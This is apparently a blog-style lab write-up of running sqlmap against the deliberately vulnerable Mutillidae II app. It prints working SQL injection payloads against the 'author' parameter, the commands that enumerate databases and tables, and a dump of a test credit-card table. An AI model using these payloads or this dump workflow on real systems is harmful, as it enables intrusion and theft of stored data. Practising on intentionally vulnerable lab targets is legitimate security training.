Having completed my incursion into Metasploiitable 2 I’m beginning my foray into Mutillidae II.
This is my first time using SQLmap and I thought you could simply aim it at a known vulnerable web page and fire it off; however, that didn’t work.
# sqlmap -u http://192.168.1.96/mutillidae/index.php?page=view-someones-blog.php
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:21:52
[15:21:52] [INFO] resuming back-end DBMS 'mysql'
[15:21:52] [INFO] testing connection to the target URL
[15:22:02] [INFO] heuristics detected web page charset 'ISO-8859-2'
[15:22:03] [INFO] testing if the target URL is stable. This can take a couple of seconds
[15:22:14] [INFO] target URL is stable
[15:22:14] [INFO] testing if GET parameter 'page' is dynamic
[15:22:23] [INFO] confirming that GET parameter 'page' is dynamic
[15:22:33] [INFO] GET parameter 'page' is dynamic
[15:22:42] [WARNING] heuristic (basic) test shows that GET parameter 'page' might not be injectable
[15:22:42] [INFO] testing for SQL injection on GET parameter 'page'
[15:22:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:22:51] [WARNING] reflective value(s) found and filtering out
[15:24:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:25:10] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:25:56] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[15:26:42] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:27:29] [INFO] testing 'MySQL inline queries'
[15:27:38] [INFO] testing 'PostgreSQL inline queries'
[15:27:47] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[15:27:57] [INFO] testing 'Oracle inline queries'
[15:28:06] [INFO] testing 'SQLite inline queries'
[15:28:15] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:28:15] [CRITICAL] there is considerable lagging in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[15:29:01] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:29:46] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:30:32] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:31:18] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:32:03] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:32:48] [INFO] testing 'Oracle AND time-based blind'
[15:33:34] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[15:42:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[15:50:27] [WARNING] GET parameter 'page' is not injectable
[15:50:27] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp')
[*] shutting down at 15:50:27
This surprised me: “all tested parameters appear to be not injectable” as I know this webpage has sql injection vulnerability.
And so I started watching some videos:
I mirrored the process shown in the video with the only main difference being that I used WebScarab rather than BurpSuite to capture the raw request and popped it into a desktop file called mutiilidae_blog.:
# sqlmap -r /root/Desktop/mutiilidae_blog --dbs sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 12:29:46 [12:29:47] [INFO] parsing HTTP request from '/root/Desktop/mutiilidae_blog' [12:29:47] [INFO] testing connection to the target URL [12:29:58] [INFO] heuristics detected web page charset 'ISO-8859-2' [12:29:59] [INFO] testing if the target URL is stable. This can take a couple of seconds [12:30:10] [INFO] target URL is stable [12:30:10] [INFO] testing if POST parameter 'author' is dynamic [12:30:20] [INFO] confirming that POST parameter 'author' is dynamic [12:30:30] [INFO] POST parameter 'author' is dynamic [12:30:41] [INFO] heuristic (basic) test shows that POST parameter 'author' might be injectable (possible DBMS: 'MySQL') [12:30:41] [INFO] testing for SQL injection on POST parameter 'author' heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y [12:31:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [12:32:03] [WARNING] reflective value(s) found and filtering out [12:33:05] [INFO] POST parameter 'author' is 'AND boolean-based blind - WHERE or HAVING clause' injectable [12:33:05] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' [12:33:15] [INFO] POST parameter 'author' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable [12:33:15] [INFO] testing 'MySQL inline queries' [12:33:16] [INFO] testing 'MySQL > 5.0.11 stacked queries' [12:33:26] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [12:33:36] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' [12:34:06] [INFO] POST parameter 'author' is 'MySQL > 5.0.11 AND time-based blind' injectable [12:34:06] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [12:34:06] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found [12:37:46] [INFO] target URL appears to be UNION injectable with 4 columns [12:38:16] [INFO] POST parameter 'author' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable POST parameter 'author' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection points with a total of 40 HTTP(s) requests: --- Place: POST Parameter: author Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: author=admin%' AND 5192=5192 AND '%'='&view-someones-blog-php-submit-button=View Blog Entries Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: author=admin%' AND (SELECT 2458 FROM(SELECT COUNT(*),CONCAT(0x7175747671,(SELECT (CASE WHEN (2458=2458) THEN 1 ELSE 0 END)),0x71786f6371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&view-someones-blog-php-submit-button=View Blog Entries Type: UNION query Title: MySQL UNION query (NULL) - 4 columns Payload: author=admin%' UNION ALL SELECT NULL,CONCAT(0x7175747671,0x50747966446e65447856,0x71786f6371),NULL,NULL#&view-someones-blog-php-submit-button=View Blog Entries Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: author=admin%' AND SLEEP(5) AND '%'='&view-someones-blog-php-submit-button=View Blog Entries --- [12:38:40] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: Apache 2.4.4, PHP 5.4.19 back-end DBMS: MySQL 5.0 [12:38:40] [INFO] fetching database names available databases [9]: [*] cdcol [*] dvwa [*] information_schema [*] mysql [*] nowasp [*] performance_schema [*] phpmyadmin [*] test [*] webauth [12:38:50] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/192.168.1.96' [*] shutting down at 12:38:50
And there we have the database names.
So next we uncover the tables within a specific database (nowasp):
# sqlmap -r /root/Desktop/mutiilidae_blog -D nowasp --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:49:26
[12:49:26] [INFO] parsing HTTP request from '/root/Desktop/mutiilidae_blog'
[12:49:27] [INFO] resuming back-end DBMS 'mysql'
[12:49:27] [INFO] testing connection to the target URL
[12:49:37] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: author
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: author=admin%' AND 5192=5192 AND '%'='&view-someones-blog-php-submit-button=View Blog Entries
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: author=admin%' AND (SELECT 2458 FROM(SELECT COUNT(*),CONCAT(0x7175747671,(SELECT (CASE WHEN (2458=2458) THEN 1 ELSE 0 END)),0x71786f6371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&view-someones-blog-php-submit-button=View Blog Entries
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: author=admin%' UNION ALL SELECT NULL,CONCAT(0x7175747671,0x50747966446e65447856,0x71786f6371),NULL,NULL#&view-someones-blog-php-submit-button=View Blog Entries
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: author=admin%' AND SLEEP(5) AND '%'='&view-someones-blog-php-submit-button=View Blog Entries
---
[12:49:37] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.4, PHP 5.4.19
back-end DBMS: MySQL 5.0
[12:49:37] [INFO] fetching tables for database: 'nowasp'
Database: nowasp
[12 tables]
+----------------------------+
| accounts |
| balloon_tips |
| blogs_table |
| captured_data |
| credit_cards |
| help_texts |
| hitlog |
| level_1_help_include_files |
| page_help |
| page_hints |
| pen_test_tools |
| youtubevideos |
+----------------------------+
[12:49:48] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/192.168.1.96'
[*] shutting down at 12:49:48
Let’s check out the credit card table:
# sqlmap -r /root/Desktop/mutiilidae_blog -D nowasp -T credit_cards --dump
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:52:16
[12:52:16] [INFO] parsing HTTP request from '/root/Desktop/mutiilidae_blog'
[12:52:17] [INFO] resuming back-end DBMS 'mysql'
[12:52:17] [INFO] testing connection to the target URL
[12:52:27] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: author
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: author=admin%' AND 5192=5192 AND '%'='&view-someones-blog-php-submit-button=View Blog Entries
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: author=admin%' AND (SELECT 2458 FROM(SELECT COUNT(*),CONCAT(0x7175747671,(SELECT (CASE WHEN (2458=2458) THEN 1 ELSE 0 END)),0x71786f6371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&view-someones-blog-php-submit-button=View Blog Entries
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: author=admin%' UNION ALL SELECT NULL,CONCAT(0x7175747671,0x50747966446e65447856,0x71786f6371),NULL,NULL#&view-someones-blog-php-submit-button=View Blog Entries
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: author=admin%' AND SLEEP(5) AND '%'='&view-someones-blog-php-submit-button=View Blog Entries
---
[12:52:27] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.4, PHP 5.4.19
back-end DBMS: MySQL 5.0
[12:52:27] [INFO] fetching columns for table 'credit_cards' in database 'nowasp'
[12:52:38] [INFO] fetching entries for table 'credit_cards' in database 'nowasp'
[12:52:48] [INFO] analyzing table dump for possible password hashes
Database: nowasp
Table: credit_cards
[5 entries]
+------+-----+------------------+------------+
| ccid | ccv | ccnumber | expiration |
+------+-----+------------------+------------+
| 1 | 745 | 4444111122223333 | 2012-03-01 |
| 2 | 722 | 7746536337776330 | 2015-04-01 |
| 3 | 461 | 8242325748474749 | 2016-03-01 |
| 4 | 230 | 7725653200487633 | 2017-06-01 |
| 5 | 627 | 1234567812345678 | 2018-11-01 |
+------+-----+------------------+------------+
[12:52:48] [INFO] table 'nowasp.credit_cards' dumped to CSV file '/usr/share/sqlmap/output/192.168.1.96/dump/nowasp/credit_cards.csv'
[12:52:48] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/192.168.1.96'
[*] shutting down at 12:52:48
Bingo, five credit cards found and SQLmap has even created a file of the output for us.
Interestingly, I obtained the same credit card information using a different technique whilst attacking Metasploitable 2, which can be viewed here.